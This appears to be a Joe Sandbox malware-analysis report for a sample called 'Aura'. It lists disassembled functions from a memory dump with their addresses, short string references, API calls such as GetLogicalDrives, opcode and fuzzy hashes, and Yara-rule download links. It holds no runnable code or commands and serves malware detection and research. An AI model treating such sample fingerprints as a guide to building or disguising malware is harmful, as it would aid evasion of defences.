Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c2622ce1d0a21ab61ee2d4bde1f5df48fc08367573dd93352a05aeb4800c9336
Instruction ID: 966f81ca87a5cc2307b2e5b4eef77f5aaacc747b7d7fe136791d1e5486848775
Opcode Fuzzy Hash: c2622ce1d0a21ab61ee2d4bde1f5df48fc08367573dd93352a05aeb4800c9336
Instruction Fuzzy Hash: 3E31F775D02219DBDF21DFA4D9497CDBBB8AF08300F1041EAE40CAB250EB759A848F85

Function 0041C980 Relevance: 5.7, Strings: 4, Instructions: 683COMMON

Download Yara Rule

Strings

5F&D, xrefs: 0041CA66
A~, xrefs: 0041CA76
&', xrefs: 0041CCF4
Q3O-, xrefs: 0041CCDC

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: &'$5F&D$A~$Q3O-
API String ID: 0-675504753
Opcode ID: 812f62e87a523b56efcce59179e77158da321b0c9cf250dad7521a95bb97face
Instruction ID: 633e36ed10f3989885d87796e4429ae6f20bcc81ed0b5666aa2646e33d91a16f
Opcode Fuzzy Hash: 812f62e87a523b56efcce59179e77158da321b0c9cf250dad7521a95bb97face
Instruction Fuzzy Hash: 702211B2A4C3108FD714DF69CC916AFB7E2EFD5314F09892DE4C59B341E63889458B8A

Function 00423D78 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 321COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00423F0C

Strings

74, xrefs: 0042411C
t@, xrefs: 00423FDB

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: DrivesLogical
String ID: 74$t@
API String ID: 999431828-3855452393
Opcode ID: 7866ef0d8c57a24f9662bf5d6188eda46f7ca8aa7e94e414209a865f02cab398
Instruction ID: d8fda7944a744acaf0d178b2b36fa13dc41ebd5ea8d3209462f2d5dd7201e77a
Opcode Fuzzy Hash: 7866ef0d8c57a24f9662bf5d6188eda46f7ca8aa7e94e414209a865f02cab398
Instruction Fuzzy Hash: 12B197B5608380CFD310CF58D98122BBBE1EBC6704F55892DEAC59B321D7799946CB8B

Function 00424460 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 204COMMON

Download Yara Rule

Strings

RDB, xrefs: 00424448
@AF, xrefs: 00424399

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: RDB$@AF
API String ID: 0-293929955
Opcode ID: f15f5163eaab6831977543f007d43be88b34e39f7c2b7db232dd98a3b66f87d2
Instruction ID: 8e72b51382bd84331a0b3652428f3f841449d97c4acde29aa1b9e14835349b3b
Opcode Fuzzy Hash: f15f5163eaab6831977543f007d43be88b34e39f7c2b7db232dd98a3b66f87d2
Instruction Fuzzy Hash: 876111B16083409FE724CF29EC41BDBB7E4EB86308F01883DF6899B281D77595058B9B

Function 0041499B Relevance: 4.5, Strings: 3, Instructions: 755COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00414D70
BPA, xrefs: 00415033
kjih, xrefs: 00415130

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: BPA$D]+\$kjih
API String ID: 0-779469481
Opcode ID: 3b795639909c093783c68fb88a88c2082f21191ea6d78dddba18fb4a727ae03a
Instruction ID: c86518ecb6a2af19fc35f5361c14f0002270ccc2ac66e0080cc6d1c57852e329
Opcode Fuzzy Hash: 3b795639909c093783c68fb88a88c2082f21191ea6d78dddba18fb4a727ae03a
Instruction Fuzzy Hash: 77224479608301DFEB14DF24E84176BB7E2EBCA314F54843EE485573A2DB349D008B9A

Function 00422540 Relevance: 4.2, Strings: 3, Instructions: 464COMMON

Download Yara Rule

Strings

SP, xrefs: 00422570
kjih, xrefs: 00422930
(l"R, xrefs: 00422568

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: (l"R$SP$kjih
API String ID: 0-567659598
Opcode ID: 3785ca1b37f9add546c1038ec4aba19b713aab3aa18d44877dd8aa41cb3b2193
Instruction ID: a3900cc6fc55148a6c8e14d85553ca1c9869342b247b30b550114912dbf9fceb
Opcode Fuzzy Hash: 3785ca1b37f9add546c1038ec4aba19b713aab3aa18d44877dd8aa41cb3b2193
Instruction Fuzzy Hash: ABB14972604310ABD714AF24E99277BB3E1EF91324F59852EF88597381E37CD905C36A

Function 00438D10 Relevance: 4.2, Strings: 3, Instructions: 424COMMON

Download Yara Rule

Strings

kjih, xrefs: 0043913B, 00438E98
kjih, xrefs: 00438EB5
kjih, xrefs: 00438D55

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeThunk
String ID: kjih$kjih$kjih
API String ID: 2994545307-810310282
Opcode ID: 712fac94ba7437c9b3dbec18473d263afff0cd89d38fa19ec11d9b71cf0c5c0e
Instruction ID: 767e002e25c183fdeed3407a3d66f84cc4350f69500a9d1ea3b218917b86b708
Opcode Fuzzy Hash: 712fac94ba7437c9b3dbec18473d263afff0cd89d38fa19ec11d9b71cf0c5c0e
Instruction Fuzzy Hash: E1B16B71A083014FD7249F24988163FF7B6EBDA324F15A52EF58567391DB39EC028B89

Function 00439459 Relevance: 4.2, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

., xrefs: 004395AE
\, xrefs: 00439900
^_, xrefs: 00439739

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: .$\$^_
API String ID: 0-3646303928
Opcode ID: 297d3f3141377644b6f0c33220492bdc5aba9e444d2ed4812824903fec6dcd11
Instruction ID: 062b75e545c243369e7d1007839102a71fa034d595c1669f30e3ba6f234e4085
Opcode Fuzzy Hash: 297d3f3141377644b6f0c33220492bdc5aba9e444d2ed4812824903fec6dcd11
Instruction Fuzzy Hash: 37D1E43A628252CBCB18AF28DC6127E73F1FF4A751F1A887DD4814B6A0EB798D50C715

Function 00425986 Relevance: 2.6, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

kjih, xrefs: 00425951
kjih, xrefs: 004259D5

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: kjih$kjih
API String ID: 0-3924671761
Opcode ID: 9c4abc055bfff55d6b9c6c044379669858391a61c272c9d70dbe5eab9bb1bf85
Instruction ID: 435e266f2ad6e6eef63f3cb7faf8b725e12e8754059b896fb3d6e380001f75d0
Opcode Fuzzy Hash: 9c4abc055bfff55d6b9c6c044379669858391a61c272c9d70dbe5eab9bb1bf85
Instruction Fuzzy Hash: 5C11D676346B60CBC3148B54E49027FB7D1EBD6721FA9952EC9D123B50C17C9C428B9A

Function 0042AAE0 Relevance: 1.6, Strings: 1, Instructions: 392COMMON

Download Yara Rule

Strings

", xrefs: 0042ADB8

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: e628c99f02590b6f0d4c943b71b77343dd47da835aa70e3396d5bfee97e0f26e
Instruction ID: 7155dd8fcac62196877c4163cf259fe4e5bc86aa3de5309139ff4223dd971825
Opcode Fuzzy Hash: e628c99f02590b6f0d4c943b71b77343dd47da835aa70e3396d5bfee97e0f26e
Instruction Fuzzy Hash: BEC146B1B083245FC7149E25A88076BBBE6AB80314F49892FEC958B381D73CDD19C787

Function 0041B18C Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

PLR3, xrefs: 0041B367

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: PLR3
API String ID: 0-2761226970
Opcode ID: 55f0f2b169892d99dcd16b4c9832ed68bdf8ab973c645c435139344f562a5964
Instruction ID: 032294ec5626711b583989303ca1e9da9d1a30cf5e4cc2b543d20f08b9a82161
Opcode Fuzzy Hash: 55f0f2b169892d99dcd16b4c9832ed68bdf8ab973c645c435139344f562a5964
Instruction Fuzzy Hash: B7811675601B008FC725CF28C8917A3B7F1FF96314B0895ADD4968B7A2D738E885CB94

Function 0043B910 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

kjih, xrefs: 0043BA55

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeThunk
String ID: kjih
API String ID: 2994545307-2138429548
Opcode ID: a33593026fd8eb9ec5c79d2faeb1b809e771c45f5c9a28dba86a33fca7da4d5a
Instruction ID: 4357d8f11cacceb57ec802c14660e1cd95a9d51a826ff5a575db21d457add18a
Opcode Fuzzy Hash: a33593026fd8eb9ec5c79d2faeb1b809e771c45f5c9a28dba86a33fca7da4d5a
Instruction Fuzzy Hash: 4C613B326057118BCB609F28C8C076BF792EFCA324F19A52ED68497365D735AC45C7C5

Function 00438AE0 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

kjih, xrefs: 00438B45

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: kjih
API String ID: 0-2138429548
Opcode ID: a1d68a4cb3e2e4bf4865ca5e0cd9f0b9f8ab046a7825ff6a50d9a1042725e3fa
Instruction ID: 91fe87c1877ca5f05fcaee7cce7fcb8ec47d91bc591b00911bc4e7c23d8210a4
Opcode Fuzzy Hash: a1d68a4cb3e2e4bf4865ca5e0cd9f0b9f8ab046a7825ff6a50d9a1042725e3fa
Instruction Fuzzy Hash: 635107B46083019FE7009F29DC81B2FB7E5EB89314F10982DF68597292DB39EC15C79A

Function 0042459E Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

! %, xrefs: 00425C6C

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: ! %
API String ID: 0-2174870612
Opcode ID: 2e64160a11173ddfd979c0ea3d0d2b814565963c2ce7f953d5e5f862b9a3bbaa
Instruction ID: 8f1612b3a262938f3178b7bf199caa3967da8d02cacb31485a6ba24c03ffaef1
Opcode Fuzzy Hash: 2e64160a11173ddfd979c0ea3d0d2b814565963c2ce7f953d5e5f862b9a3bbaa
Instruction Fuzzy Hash: AB515731649B658BD720CF6494912BBBBE1DF65310F948A2FC4D687381E238A805D35A

Function 0042D05A Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

eB, xrefs: 0042D0CB

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: eB
API String ID: 0-3246501281
Opcode ID: e457f3081f52afee7ef6ccade78faed1e2b4b572523890a29aca42b2418bd9a1
Instruction ID: c9e8a37eecd0f3d021b10de5c2d54c9a99e51523f08571bc8dc744a8d9646f72
Opcode Fuzzy Hash: e457f3081f52afee7ef6ccade78faed1e2b4b572523890a29aca42b2418bd9a1
Instruction Fuzzy Hash: 0631C03060C3D18BD7398F3484657EBBBA1AF96304F94499DC0CA9B282DB39550ACB56

Function 0042C62F Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

s, xrefs: 0042C676

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: e45a1f2e2537c3aa27091e076b28e989616aa4a1697a312ccc4ccaba39526ba3
Instruction ID: 29f20c3b0e98ad2f0a32b60c155a5575d60e561524289968dcee3ba061b6bae2
Opcode Fuzzy Hash: e45a1f2e2537c3aa27091e076b28e989616aa4a1697a312ccc4ccaba39526ba3
Instruction Fuzzy Hash: AF31F63170C7928BC71D8F34C8643BBBBD1ABD2340F18496EE1D687391D73888068B56

Function 0042D0AE Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

eB, xrefs: 0042D0CB

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: eB
API String ID: 0-3246501281
Opcode ID: d234fc643cf34f131e990788b67370748e9a2949fcd5bacb75e7d281b2b4cb11
Instruction ID: 90c3ea06982c064a0e3bffddaa11293396c71f55d8fe445c898e383a11b9c4a0
Opcode Fuzzy Hash: d234fc643cf34f131e990788b67370748e9a2949fcd5bacb75e7d281b2b4cb11
Instruction Fuzzy Hash: 9231DF7060C3908BD7398F34C8657EBBBB1AF96300F94896DC1CA5B381DB395506CB96

Function 0042C62D Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

s, xrefs: 0042C676

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: a17dc4b0f29f5f9b404bef73946c92c1ddcd8b9df2cdf66f2056694c3c23ac44
Instruction ID: 15acc6a3c80bf2e33e426aada9df871cc9eb11dbc7320abd226b1ce3a4d8280f
Opcode Fuzzy Hash: a17dc4b0f29f5f9b404bef73946c92c1ddcd8b9df2cdf66f2056694c3c23ac44
Instruction Fuzzy Hash: 7121E57170C7928BC71CCF34C86526FBBD1ABD6300F28896EE5D687391D638C8068B4A

Function 00407500 Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26be0585b5863154a1ada3a28109cfd6482920505ec00f8f0cdb4773e3318629
Instruction ID: 61abf759c9cadcf257a693f3ee14b799edd8696e77a16ce848846ba68cf6fefd
Opcode Fuzzy Hash: 26be0585b5863154a1ada3a28109cfd6482920505ec00f8f0cdb4773e3318629
Instruction Fuzzy Hash: 2A22A132A0C7118BD725DF18D8806ABB3E1BFC4319F19893ED586A7385D738B8558B87

Function 00429241 Relevance: .5, Instructions: 487COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6c81599bf1fc021bcf0fc65e73ee2db50555a858067dd38631d90d1653f08eb
Instruction ID: 68e5704013bb15557501bf91ff2a082cc52ba5735bc95d065c9548d78084a955
Opcode Fuzzy Hash: a6c81599bf1fc021bcf0fc65e73ee2db50555a858067dd38631d90d1653f08eb
Instruction Fuzzy Hash: 53E15671E10226CBCB24CF64D8916ABB7B1FF5A314F19465ED8427B354E738AC02CB94

Function 004221E0 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b107d9bb1a2d9e1941e1462cd52ab4669c909d1b4daa805a2e9a076f479614
Instruction ID: e9311dae094bf1733b1d0aea7d2779e411c23cfc233bdfe60b8c7cd348ef5974
Opcode Fuzzy Hash: 81b107d9bb1a2d9e1941e1462cd52ab4669c909d1b4daa805a2e9a076f479614
Instruction Fuzzy Hash: BA9143B1604311ABC710DF24D892B6B73B0FF91328F14891DF8859B391E7B9D905C76A

Function 0041D5EC Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20164083485a976f9987a595a4cf69ff1c1b16a8df36ebfeef1c5dc0fa762dc
Instruction ID: 5c7151967bff9507dd7797c5c2d42f530f5128f49545d25f922d80f8fb09922b
Opcode Fuzzy Hash: e20164083485a976f9987a595a4cf69ff1c1b16a8df36ebfeef1c5dc0fa762dc
Instruction Fuzzy Hash: E55113B4A0C3508BD7109F28D85266BB7F2EFD2308F18492DE4D99B391E739D905C75A

Function 0041D603 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a87800b8fe64a1213682ffcd7b3cd920df7af8cf0b63194adf3f10e9c6102a
Instruction ID: ac4aaf9ef2867e45983ff7a9ae25f09b9656f6f0dd0720ade2da784ad1356d6e
Opcode Fuzzy Hash: 05a87800b8fe64a1213682ffcd7b3cd920df7af8cf0b63194adf3f10e9c6102a
Instruction Fuzzy Hash: C95101B4A0C3508BD7109F28C85266BB7F2EFD2308F18892DE4D89B391E739C541C75A

Function 0041F0E0 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437213943a5d6f7bba8ab58dfeae2c69ad63b4cb29ace8fcc03a326a6a244e04
Instruction ID: 4f692c9c50cbc654eae74ccc9224dc58b5a9b046cdd264a5c32c37c2572de626
Opcode Fuzzy Hash: 437213943a5d6f7bba8ab58dfeae2c69ad63b4cb29ace8fcc03a326a6a244e04
Instruction Fuzzy Hash: 0A615A3560C3919FC7258F39C88096B7BE0AF96314F0882BEE8D447392D635DC4AD796

Function 0043DCE7 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 477dd9c6162770bc73e5b88d5049b7ad5744b8a8486b04fcbe3a7d2182c8346d
Instruction ID: 56fb3b66251f4f27547c2b9d23238da8952789ee290974d3697a2f11aacd2a15
Opcode Fuzzy Hash: 477dd9c6162770bc73e5b88d5049b7ad5744b8a8486b04fcbe3a7d2182c8346d
Instruction Fuzzy Hash: 7741C232E145254BDB19CFB8D8911BFFBF2AB9D310F1A512EC446E7341DA38AD018B98

Function 0041B5DD Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6aefbff8f267baa07500557e8c01890b3537268b37c2e49d1637d7f1157a591
Instruction ID: 07ff840f00c89fee05c80b5a58555568be596aadf3cf6fbd15384ce02e8096e0
Opcode Fuzzy Hash: b6aefbff8f267baa07500557e8c01890b3537268b37c2e49d1637d7f1157a591
Instruction Fuzzy Hash: E65149763507014FE7248F29C9C1B52BBE2EFE6304F1985ACD0959B762C7B8D802CB54

Function 0041BF5D Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f83626cacc7732c68ab18a552209682d8902d6c7a8a32954126ad0522ddbd671
Instruction ID: 6761710f77d38817d46bc0a1b71ee177f124221904cd2e9cb6d64fccfdedefae
Opcode Fuzzy Hash: f83626cacc7732c68ab18a552209682d8902d6c7a8a32954126ad0522ddbd671
Instruction Fuzzy Hash: C12123757447418FC719CF66C8A0263BBA3AFCA25432EC04EC4968B36AC774F8868B44

Function 00435880 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 5b2b74ac1a3ba5c45c454e7f1da22ae82971d98106045a86a0c66dac7f734a9c
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 1311E533A055D44EC3168D3C8400566BFE30EA7235F69939AF4F89B2D6D6268D8E8359

Function 0042A4B0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e09823d0e02ffd6712e61936e7254897359c543f25d11d694a2a38905cc569
Instruction ID: 67478a81853eec2dea72d16e4687bce84520cd468960b50aea60f26b09377acc
Opcode Fuzzy Hash: f3e09823d0e02ffd6712e61936e7254897359c543f25d11d694a2a38905cc569
Instruction Fuzzy Hash: 840192F170071197D620AE25A5C4727A2A86F9070CF48443EEC4967342DBBDFC2886AA

Function 0042DE30 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54a11bb87efbfbf342d2a2c3f144219fdb4e62799be38ffa775fb600503eca8
Instruction ID: be3d4ae164ca6086263ea6c394f1b56c4cacc59ffcacf56fb8c71461d48c70a6
Opcode Fuzzy Hash: b54a11bb87efbfbf342d2a2c3f144219fdb4e62799be38ffa775fb600503eca8
Instruction Fuzzy Hash: C501F435D086A247CB254F388411373BB625FA7308B5D54EDC4C1AF383C61EDC068798

Function 0043E1F4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902304f499d5a184e8a82fb08a67af2d628892b930146d8a0c022a126982db98
Instruction ID: 1fd46abd00d7749c6900e513f53550d416a0f2a30bea42f7423d10527cabea00
Opcode Fuzzy Hash: 902304f499d5a184e8a82fb08a67af2d628892b930146d8a0c022a126982db98
Instruction Fuzzy Hash: F0C04C38A581418B9B08CF04E9954BAB776979F214B18B13ED506F3750C734DC01990C

Function 00428BFE Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680e004b511eee906e3079cfc60d91f8bd874a58f69aba1e39e5ab1c21b77e04
